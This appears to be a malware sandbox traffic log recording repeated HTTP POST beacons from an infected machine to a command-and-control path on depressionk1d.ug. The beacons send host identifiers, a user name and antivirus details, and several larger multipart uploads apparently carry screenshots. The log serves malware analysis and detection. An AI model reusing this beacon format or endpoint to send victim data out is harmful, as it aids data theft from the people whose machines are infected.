Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
